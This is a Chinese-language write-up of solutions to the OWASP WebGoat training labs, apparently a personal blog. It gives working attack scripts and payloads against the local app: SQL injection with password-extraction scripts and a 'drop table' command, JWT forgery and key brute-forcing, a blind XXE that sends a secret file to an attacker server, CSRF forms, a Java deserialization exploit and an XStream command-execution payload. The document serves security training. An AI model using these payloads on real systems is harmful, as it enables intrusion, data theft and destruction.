SQL Injection (intro)
0x02
select department from employees where first_name='Bob';
0x03
update employees set department='Sales' where first_name='Tobi';
0x04
alter table employees add column phone varchar(20);
0x05
grant alter table to UnauthorizedUser
0x09
SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'
0x10
account:1user_id: 1 or true
拼接过后
SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or true
0x11
employee name: 1tan:' or true -- -
0x12
employee name: '; update employees set salary=1000000 where last_name='Smith';-- -
tan: 不填或者随便填
0x13
'; drop table access_log;-- -
SQL Injection (advanced)
0x03
name: ' or true union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- -
拼接过后的sql:SELECT * FROM user_data WHERE last_name = '' or true union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- -'
最后得到dave密码为passW0rD
0x05
这一次注入点没在login,而是存在于register,我一开始还像个憨憨一样测试login页面的两个输入点,结果发现还有个注册页面,因为题目要求我们以Tom身份登录嘛,又是一个注册页面,我就理所当然的以为是一个insert注入,搞了半天,发现也不是insert注入,然后我就直接注册了一个Tom用户,居然成功了,但是我去登录的时候告诉我只能以Tom身份登录?????exm???
最后才发现是以tom用户登录.....(也不写清楚,非要首字母大写)
最后发现username字段当我们输入的用户名是已经注册的话,那么会提示用户已注册,没有注册的话就会直接注册,用户名加单引号,页面不再返回用户名已注册,经过进一步测试确定这个字段是一个注入点,那么可以确定这还是一个select的注入,那就根据响应特征编写脚本吧
# -*- coding:utf-8 -*- import requests from string import printable chars = printable vul_url = "http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge" data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } cookies = { 'JSESSIONID': 'A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99Rj9w87fGz', 'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1' } i = 0 result = "" proxy={"http": "http://127.0.0.1:8181"} while True: i += 1 temp = result for char in chars: data = "username_reg=tom'+and substr(password, {0},1)='{1}'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123".format(i, char) resp = requests.put(vul_url, data=data, headers=headers, cookies=cookies, proxies=proxy) # print(resp.text) if 'already exists' in resp.text: result += char print(result) if temp == result: break
最后跑出来密码为:thisisasecretfortomonly
但是你看我上面的结果多了两个符号,原因您跑一跑代码,仔细想一想就知道了
注: 所以下次挖洞的时候,注册页面不仅要关注用户遍历漏洞,同样的功能点也需要关注下sql注入
SQL Injection (mitigation)
0x05
参考0x06....
0x06
先上答案
try{ Connection ct = null; ct=DriverManager.getConnection(DBURL,DBUSER,DBPW); PreparedStatement ps=ct.prepareStatement("select * from users where name=?"); ps.setString(1,"3"); ResultSet rs=ps.executeQuery(); } catch(Exception e){ System.out.println("123"); }
对于我这个没啥java开发基础的人来说,这儿一开始错了好几次,但是我每次都觉得自己写的是对的,所以啊,我就打算看看源码是怎么判断这题是否正确的,
注: Idea 调试WebGoat环境搭建参考:webgoat-环境搭建
WebGoat是采用Spring Boot 构建,所以可以利用@PostMapping()、@GetMapping()、@RequestMappin()等注解来处理用户对某个路径的请求(类似php mvc架构之中的路由),例如类似如下代码,当用户请求/hello
路径时,spring boot就会自动调用Hello()方法进行处理
@RequestMapping(path="/hello") @ResponseBody public String Hello() { return "Hello World"; }
知道了上面这个知识点,我们就知道怎么定位处理请求的 方法/类 了。通过审查元素或者抓包我们知道这道题目提交到了:/WebGoat/SqlInjectionMitigations/attack10b
,那么我们直接全局搜索attack10b,定位到文件:/WebGoat/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10b.java
重点关注框起来的部分,这里主要是对我们输入的代码去掉换行符,然后使用正则表达式匹配我们提交的答案是否有它要求的关键的几处代码,这一点很容易满足,但是,最后还有执行this.compileFromString()函数,这个函数就是实实在在用jvm编译我们提交的代码了,我几次没有通过代码也是因为这儿,这个函数的实现我就不展示了,在同一个文件里,大家自己看下就行了,编译没有通过并报了SqlException错误,这是因为没有数据库可以连接嘛,所以,加一个try ... catch ... 解决问题
0x10
这一题也是比较坑的一题,因为作者把题目链接放错了,导致这个图表里没有任何servers。就是下面这样
我一开始拿到这道题,结合前面的提示,大概可以猜测这是一个order by 处的注入,因为没有任何servers列在图表里,我还以为右上角的Online,Offline是排序按钮(233333),点了半天没有任何请求发出去,我还以为题目坏掉了。。。直到我偶然间点击到了ip,hostname,mac这些小图标,才知道原来是根据他们来排序的,那就抓包开整吧,然而抓包结果全是404,我人都懵了
来吧,看看源码咋回事儿吧,以servers为关键词全局搜索,最后定位到/opt/WebGoat/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java
发现源码的路由是SqlInjectionMitigations/servers
,但是表单提交的地址却是/SqlInjection/servers
,所以我们在burp里把请求地址改一下就ok了,可以看到返回的json数据了。
payload:
GET /WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,1,1)='0'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end HTTP/1.1 Host: localhost:8080 User-Agent: python-requests/2.22.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-Requested-With: XMLHttpRequest Cookie: JSESSIONID=A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99Rj9w87fGz; JSESSIONID.75fbd09e=7mc1x9iei6ji4xo2a3u4kbz1
同样没有回显,是一个bool盲注,利用case when end 语句构造不同的排序依据,通过返回的servers的顺序来确定真假根据上述思路,编写脚本
# -*- coding:utf-8 -*- import requests from string import digits chars = digits+"." data1 = "username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123" headers = { 'X-Requested-With': 'XMLHttpRequest' } cookies = { 'JSESSIONID': 'A6RZdLz-RNDOwvWpMBUzwFc-vjDxv99Rj9w87fGz', 'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1' } i = 0 result = "" proxy={"http": "http://127.0.0.1:8181"} while True: i += 1 temp = result for char in chars: vul_url = "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char) resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy) # print(resp.json()) if 'webgoat-acc' in resp.json()[0]['hostname']: result += char print(result) if temp == result: break
注:本题目经测试无法使用ord(),if(1,1,1)语句只能使用case when() then ... else ... end语句,可通过报错得到表名和大概的sql语句,一开始我还在纠结怎么确定表名,结果报错直接给爆出来了
order by 报错注入参考:order by注入
Authentication Bypasses
0x02
JWT tokens
0x04 后台未验证签名
去https://jwt.io/#debugger解码jwt-token,然后修改admin为true后用下面的脚本重新编码header与payload,不要添加签名部分,发送请求
# -*- coding:utf-8 -*- import jwt import base64 # header # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 # {"typ":"JWT","alg":"HS256"} #payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0 # {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}} def b64urlencode(data): return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'') print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1573470025,"admin":"true","user":"Jerry"}')+b'.')
jwt安全问题参考:http://4hou.win/wordpress/?p=23278https://zhuanlan.zhihu.com/p/71672282https://segmentfault.com/a/1190000010312468
0x05 jwt爆破
其实和jwt相关的问题就那么几种,都尝试一下就行了,这里就是暴力破解secret key,github上有个c语句版的暴力破解软件,但是它好像是一个字符一个字符试的,所以很慢,反正我跑了几次都没跑出来,还差点把电脑卡死。所以我们可以利用jwt库自己写一个脚本,也可以利用github上现成的脚本,这个python爆破脚本是基于字典的,所以首先你要有一个强大的字典,我的字典就是不够强大,导致我几次都没有爆破出来,所以,我直接去源码里翻出了几个secret key并添加到我的字典里了,这几个key如下:"victory","business","available", "shipping", "washington"
爆破脚本(需要自己提供字典):
import termcolor import jwt if __name__ == "__main__": jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0L**yZyIsImlhdCI6MTU3MjY4ODA3MSwiZXhwIjoxNTcyNjg4MTMxLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiU**sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.2n1lN_F-Pk8GXxw7nAneMt1**ExfH7mVdtQF9nMKhVs' with open('/opt/burp/pass.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str, verify=True, key=key_) print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError): print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError: print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True) continue else: print('\r', '\bsorry! no key be found.')
然后到jwt调试去重新生成jwt-token
然后拿着生成的jwt-token去提交就好了,如果报错说你的jwt-token已过期,那么你就手动修改下上面的exp的值(过期时间)
0x07
又是一道比较坑的题目,我看了提示中的writeup,了解了refresh token与access token,也看到了log文件中有tom的access token,所以有了大概思路:用我自己的refresh token去刷新tom的过期的access token,然后用tom的access token发送付款请求。但是我并不知道怎么获取我自己的refresh token,这不是出大问题吗,题目中也没有登录功能,所以我怀疑是作者把题目搞错了?那么我们又只有用白盒的方式解决了。全局搜索:/refresh/checkout
,定位到文件:/opt/WebGoat/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java
可以看到源码中确实设计了个登录功能,而且登录成功会返回Jerry的refresh token与access token,那么就按照我们刚刚的思路来吧,用burp构造登录请求,这里的登录请求体需要是json格式的。
用refresh token去刷新 tom的access token(这个刷新token的页面题目中好像也没有,只有看源码)
用拿到的tom access_token去付款,finally, we got it!
0x08
拿到jwt先拿去解密一波:
这次的jwt 的header部分倒是多了一个kid,但是作为一个菜鸡我并不知道这个东西有啥用。然后尝试了去掉签名以及修改加密算法为none等方式都没有成功,就只有乖乖的白盒审计一波了呗。
上面圈起来的代码大意就是获取jwt头部的kid属性,并将其直接拼接到sql语句中以从数据库中获取secret key,由于这里的sql语句采用直接拼接的方式,也没有采用预编译等方式处理,所以存在sql注入,那么我们可以利用这个注入来控制serect key的值。
这里我一开始还犯了个小错误,没有注意到secret 从数据库取出来时还经历了一次Base64.decode(),所以,我们这里注入的时候记得注入一个base64编码过后的secret key,payload如下:' union select 'YXhpbg==' from jwt_keys where id='webgoat_key
,YXhpbg==是axin编码过后的值,所以,我们这里的secret key值就为axin, 然后改一下username为Tom,生成jwt
然后发送请求就完事儿
Password reset
0x04
因为安全问题是你最喜欢的颜色是什么,那就找一些常见的颜色构成一个字典,然后爆破
0x06
这题主要是因为重置链接不变且永久有效导致的问题,当然最重要的问题还是直接吧host拼接到重置链接里去了,导致我们可以通过控制host(这个host执行攻击者服务器),给目标用户发送一个假的密码重置链接,这样,当用户点击该链接的时候,攻击者服务器就会记录下这个http请求
然后我们把host改回到正常的,访问之
修改之,再登录之,就完事儿了
xxe
0x03
0x04
修改content-type为application/xml,并发送xml数据
0x07
很常规的一个blind xxe,在webwolf上部署外部xml文件attack.dtd,内容如下:
<!ENTITY % payload "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
然后发送到请求修改为下面这样:
POST /WebGoat/xxe/blind HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Requested-With: XMLHttpRequest Content-Length: 268 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/WebGoat/start.mvc Cookie: JSESSIONID=CxkMsHilg5rChmUYToKLIyUJ3tJ7lryqje_UxbkR; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1572405857; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572493688; JSESSIONID.75fbd09e=7mc1x9iei6ji4xo2a3u4kbz1; screenResolution=1920x1080 Pragma: no-cache Cache-Control: no-cache <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///home/axin/.webgoat-@project.version@//XXE/secret.txt"> <!ENTITY % test SYSTEM "http://127.0.0.1:9090/files/tntaxin/attack.dtd"> %test; %payload; ]> <comment> <text>&attack;</text></comment>
发送请求虽然返回的是
但是我们的webwolf这边,也就是攻击者的Web服务器已经收到请求了
圈起来的部分就是serect.txt文件的内容啦,不过我们需要对内容进行url解码,然后再提交评论,才能通过这一关。
Insecure Direct Object References
0x02
直接用tom-cat登录就行
0x03
不知道是题目坏掉了,还是我的环境问题,这题点击view profile按钮本该显示刚刚我们登录的tom的信息的,然后通过burp重放请求包找到没有在页面中显示出来的信息,但是我的环境里点击view profile没有任何信息显示,所以,我是看源码猜测的是role,userId
通过本题
0x04
因为上一题是通过session里的数据来返回用户的profile信息的,这一天让我们写出怎么直接访问一个用户的profile答案:WebGoat/IDOR/profile/2342384
最后这串数字是上一题中本应该可以获得的userId值
0x05
在上一题的基础上修改userId就行,修改为2342388就可以看到另一个用户的信息了
Missing Function Level Access Control
0x02
0x03
根据上一题的信息收集,我们得知了/users与/config链接,但是我直接访问localhost/WebGoat/users
没有任何可用的信息,一开始以为是题目问题,知道看别人的解法,请求/users时把content-type改为application/json
总觉得这题很奇葩
Cross Site Scripting
0x07
当我们点击update cart时,可以看到页面上输出了我们的卡号,初步确认卡号字段存在xss,审查元素后发现卡号输出在p标签里,那么我们直接注入<script>alert(1);</script>
,就可通过本题目。
0x10
根据提示可以知道WebGoat使用backbone,所以我去搜索了一下backbone路由怎么写,参考如下:
大概知道就是根据Backbone.Router.extend()等这种方式嘛,所以翻了下页面的js,发现一个GoatRouter.js是路由配置的js文件,咱们跟进去看一下,找找有没有test相关的路由,发现
然后结合提示可以base route为start.mvc#test/
0x11
这一题的目的就是利用start.mvc#test/路由执行phoneHome函数,当我访问这个路由并传参的时候,我发现它直接将我传的参数输出在了页面上,所以我就打算直接插入<script>
标签执行函数了,但是当我输入start.mvc#test/<script>
的时候页面居然没有输出了,看来是有什么过滤,我一开始以为是浏览器对<进行了编码的原因,但是偶然间发现只要不在base route后面直接插入标签就没事(中间可以插入一些其他字符),所以也就有了下面的payload:[http://localhost:8080/WebGoat/start.mvc#test/webgoat.customjs.phoneHome](http://localhost:8080/WebGoat/start.mvc#test/webgoat.customjs.phoneHome)()%3Cscript%3Ewebgoat.customjs.phoneHome()
控制台中已经有结果了
Insecure Deserialization
0x05
这是一道反序列化的题目,反序列化的题目讲道理应该只能白盒解决吧。老规矩,先定位后端功能代码,这个通过全局搜索/task
定位到文件/opt/WebGoat/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java
从上图可以看到后端拿到我们的token显示进行了一个特殊符号替换,这个主要是处理url请求中涉及到的一些特殊符号,不需要太在意,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例,具体怎么实现题目要求的让程序延迟5秒,我们需要看一下VulnerableTaskHolder类的实现,把注意力放到readObject方法:
可以看到这里直接利用Runtime.getRuntime().exec()执行了taskAction,而taskAction是在构造函数里被赋值的(这里就不贴出来了),那意味这我们可以序列化这个对象,并把taskTaction的值置为sleep 6
(linux支持改命令)或者利用ping命令实现延时的效果,我们新建一个java工程,把VulnerableTaskHolder类拷贝过去命名为VulnerableTaskHolder.java,然后再创建一个Main.java代码如下:
//Main.java package org.dummy.insecure.framework; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.util.Base64; public class Main { static public void main(String[] args){ try{ VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6"); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray(); String exp = Base64.getEncoder().encodeToString(exploit); System.out.println(exp); } catch (Exception e){ } } }
// VulnerableTaskHolder.java package org.dummy.insecure.framework; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.ObjectInputStream; import java.io.Serializable; import java.time.LocalDateTime; public class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 2; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder(String taskName, String taskAction) { super(); this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); } @Override public String toString() { return "org.dummy.insecure.framework.VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime=" + requestedExecutionTime + "]"; } /** * Execute a task when de-serializing a saved or received object. * @author stupid develop */ private void readObject( ObjectInputStream stream ) throws Exception { //unserialize data so taskName and taskAction are available stream.defaultReadObject(); //do something with the data System.out.println("restoring task: "+taskName); System.out.println("restoring time: "+requestedExecutionTime); if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) || requestedExecutionTime.isAfter(LocalDateTime.now()))) { //do nothing is the time is not within 10 minutes after the object has been created System.out.println(this.toString()); throw new IllegalArgumentException("outdated"); } //condition is here to prevent you from destroying the goat altogether if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping")) && taskAction.length() < 22) { System.out.println("about to execute: "+taskAction); try { Process p = Runtime.getRuntime().exec(taskAction); BufferedReader in = new BufferedReader( new InputStreamReader(p.getInputStream())); String line = null; while ((line = in.readLine()) != null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } } }
需要注意的是包名需要和WebGoat的包名保持一致,否则你生成的payload提交过去会报serialization id不匹配的错误,一开始我就是遇到这个问题了,还以为是serialVersionUID不一致的原因,但是我看源码里和我的代码里的serialVersionUID都是2,然后我又开始怀疑作者搞错了,但是看代码也没啥问题,只有老老实实调试,结果发现是包名的原因,报名统一指定package org.dummy.insecure.framework;
,然后运行Main.java生成base64编码后的序列化数据,如下,提交过后你会发现响应延迟啦~
Vulnerable Components
0x12
这是一个nday的利用,但是我试了好几个payload,都没通过题目,就给个漏洞详情吧:http://x-stream.github.io/CVE-2013-7285.html
而且源码中也给出了payload,但是它的payload也没用,全是返回Trying to deserialize null object.
错误,源码中的payload如下:
<sorted-set> <string>foo</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
Cross-Site Request Forgeries
0x03
常规的csrf,我们先用常规的思路解吧。抓包,利用burp直接generate csrf poc,然后点击Test in browser就可以模拟一次csrf攻击了。
当然这一题我们也可以直接修改Referer,修改个端口啥的都行(当然,这输入作弊玩法)。
0x04
操作同0x03
0x07
根据题目的提示,我成功被误导了,我以为限制了content-type,所以我最开始的思路是这样的:由于要发送json格式的请求体,我们可以使用XMLHttpRequest来构造,但是XMLHttpRequest是不支持跨域的,它在发送请求前会先发送一个OPTIONS请求预检,判断是否是合法请求,如果不合法请求是发不出去的,我构造的XMLHttpRequest poc如下:
<html> <head> <script style="text/javascript"> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true); xhr.setRequestHeader("Accept", "application/json, text/plain, */*"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"); xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8"); xhr.withCredentials = true; xhr.send(JSON.stringify({"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!"})); } </script> </head> <body> <form action="#"> <input type="button" value="Submit request" onClick="submitRequest()"/> </form> </body> </html>
但是当我们点击发送时,可以看到如下网络请求
所以这种方式不ok的,我们可以利用Flash的跨域与307跳转来绕过http自定义头限制,307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。
json csrf 攻击参考:json csrf
但是我上面捣鼓了半天,在linux上装flex sdk就弄了好久,结果发现这样的csrf没法得到回显啊,那我就拿不到flag呀
然后我就试着用post请求拼一个json格式的数据,然后把poc放到webwolf上,访问。没成想这样就成功了,哭了。
<form name="attack" enctype="text/plain" action="http://localhost:8080/WebGoat/csrf/feedback/message" METHOD="POST"> <input type="hidden" name='{"name": "Testf", "email": "teddst1233@163.com", "subject": "service", "message":"' value='dsaffd"}'> </form> <script>document.attack.submit();</script>
0x08
这一题按照题目要求,注册个csrf-开头的用户,比如我的用户名为tntaxin,然后我再注册一个csrf-tntaxin,然后登录csrf-tntaxin访问这道题目,点击solved就过了,当然这题的真实目的是希望你构建一个csrf 恶意链接,然后访问这个链接就会自动登录csrf-tntaxin这个账户,这样受害者的访问记录你就都知道了。
Server-Side Request Forgery
0x02
抓包,改包
POST /WebGoat/SSRF/task1 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 22 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/WebGoat/start.mvc Cookie: JSESSIONID=cqoOBXetjgXuLsuvJS2dB70hfePcPD_StuFgDTI5; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1572405857; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572493688; JSESSIONID.75fbd09e=7mc1x9iei6ji4xo2a3u4kbz1; screenResolution=1920x1080 Pragma: no-cache Cache-Control: no-cache url=images%2Fjerry.png
0x03
这题怪我英语没学好没理解题目的意思,搞复杂了,看了源码才知道答案很简单
抓包 url修改为http://ifconfig.pro
Bypass front-end restrictions
0x02
burp抓包,随便改值就行select=optiosn1&radio=optison1&checkbox=osn&shortInput=12s345
0x03
burp抓包,绕过前端正则就行
field1=ac&field2=1df23&field3=abc+1s,df23+ABC&field4=sesdf56ven&field5=0110sd1&field6=9021sdf0-1111&field7=301-6dfs04-4882&error=0
Client side filtering
0x02
这是一个不完整的题目,讲道理选择不同的用户就会显示该用户的信息,但是,这题目选择不同用户的时候没有任何请求发出。
0x03
访问这个地址会返回所有的code
所以,你知道接下来怎么做了吧
HTML tampering
0x02
抓包,把数量增多QTY=6&Total=2999.99
Challenges
Admin lost password
一开始拿到以为是sql注入,但是用sqlmap跑了一波没结果,然后就想着爆破,但是我的小破字典确实爆破不出来,后面去看源码
@RestController public class Assignment1 extends AssignmentEndpoint { @PostMapping("/challenge/1") @ResponseBody public AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletRequest request) { boolean ipAddressKnown = true; boolean passwordCorrect = "admin".equals(username) && PASSWORD.equals(password); if (passwordCorrect && ipAddressKnown) { return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build(); } else if (passwordCorrect) { return failed().feedback("ip.address.unknown").build(); } return failed().build(); } public static boolean containsHeader(HttpServletRequest request) { return StringUtils.hasText(request.getHeader("X-Forwarded-For")); } }
就直接是硬编码的账号密码,PASSWORD这个值是!!webgoat_admin_1234!!
,讲道理这个爆破难度也太大了吧。。。难道有其他办法?
Without password
根据题目提示,猜测是**,试了下用户名不存在注入,密码字典可注入,payload如下
POST /WebGoat/challenge/5 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 53 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/WebGoat/start.mvc Cookie: JSESSIONID=cqoOBXetjgXuLsuvJS2dB70hfePcPD_StuFgDTI5; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1572405857; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572493688; JSESSIONID.75fbd09e=7mc1x9iei6ji4xo2a3u4kbz1; screenResolution=1920x1080 username_login=Larry&password_login=123' or true -- -
Admin password reset
先来说一说思路吧:先是用自己webwolf的邮箱接受了下重置密码的链接,访问链接提示这个链接不是一个充值管理员密码的链接,根据这个提示,我们可以得到什么信息呢?那就是后端可以直接根据链接中的信息判断是不是管理员,那么链接中的最后面的那段字符串就很重要了。我们要想办法把它搞到手,这次修改host的方式已经不能用了,所以剩下的思路就是看看这个字符串是不是可以猜测的,比如是不是某个字符串的md5之类的,但是我一番捣鼓,发现猜测不了。然后我就卡住了,就跑去看源码去了。
我是万万没想到这是一道git泄露的题目(但至少大方向没有错,就是搞到那个字符串),访问localhost:8080/WebGoat/challenge/7/.git
可下载git文件,解压缩过后,使用git命令查看一下状态git status
可以看到删除了这些文件,使用git log
查看git提交历史
我们回退到上一个提交,就可以得到泄露的源码文件了,因为是.class
后缀的文件,所以我们得反编译一下,直接用burp打开PasswordResetLink.class就会自动反编译了。接下来我们看看源码
import java.util.Random; public class PasswordResetLink { public PasswordResetLink() { } public String createPasswordReset(String var1, String var2) { Random var3 = new Random(); if (var1.equalsIgnoreCase("admin")) { var3.setSeed((long)var2.length()); } return scramble(var3, scramble(var3, scramble(var3, MD5.getHashString(var1)))); } public static String scramble(Random var0, String var1) { char[] var2 = var1.toCharArray(); for(int var3 = 0; var3 < var2.length; ++var3) { int var4 = var0.nextInt(var2.length); char var5 = var2[var3]; var2[var3] = var2[var4]; var2[var4] = var5; } return new String(var2); } public static void main(String[] var0) { if (var0 == null || var0.length != 1) { System.out.println("Need a username"); System.exit(1); } String var1 = var0[0]; String var2 = "!!keykeykey!!"; System.out.println("Generation password reset link for " + var1); System.out.println("Created password reset link: " + (new PasswordResetLink()).createPasswordReset(var1, var2)); } }
这里生成lin时使用了random.setSeed(),而这个就直接导致了本题的漏洞,设置了种子过后生成的就是伪随机数,就是说同一个种子每次生成的随机数是固定的,所以我们这里只需要把PasswordResetLink.class与MD5.class的代码拷贝到一个新项目里,然后运行代码就可以得到admin重置密码的链接了(记得运行代码的时候得指定程序的第一个参数为admin,否则会提示没有指定用户名)
Without account
这题黑盒没做出来,根据源码来看就是请求不能是get,但是他的路由又是利用的GetMapping()
后来在网上看到这么个资料
HEAD方法跟GET方法相同,只不过服务器响应时不会返回消息体。一个HEAD请求的响应中,HTTP头中包含的元信息应该和一个GET请求的响应消息相同。这种方法可以用来获取请求中隐含的元信息,而不用传输实体本身。也经常用来测试超链接的有效性、可用性和最近的修改。一个HEAD请求的响应可被缓存,也就是说,响应中的信息可能用来更新之前缓存的实体。如果当前实体跟缓存实体的阈值不同(可通过Content-Length、Content-MD5、ETag或Last-Modified的变化来表明),那么这个缓存就被视为过期了。
所以把请求改成head请求就行了,扎心了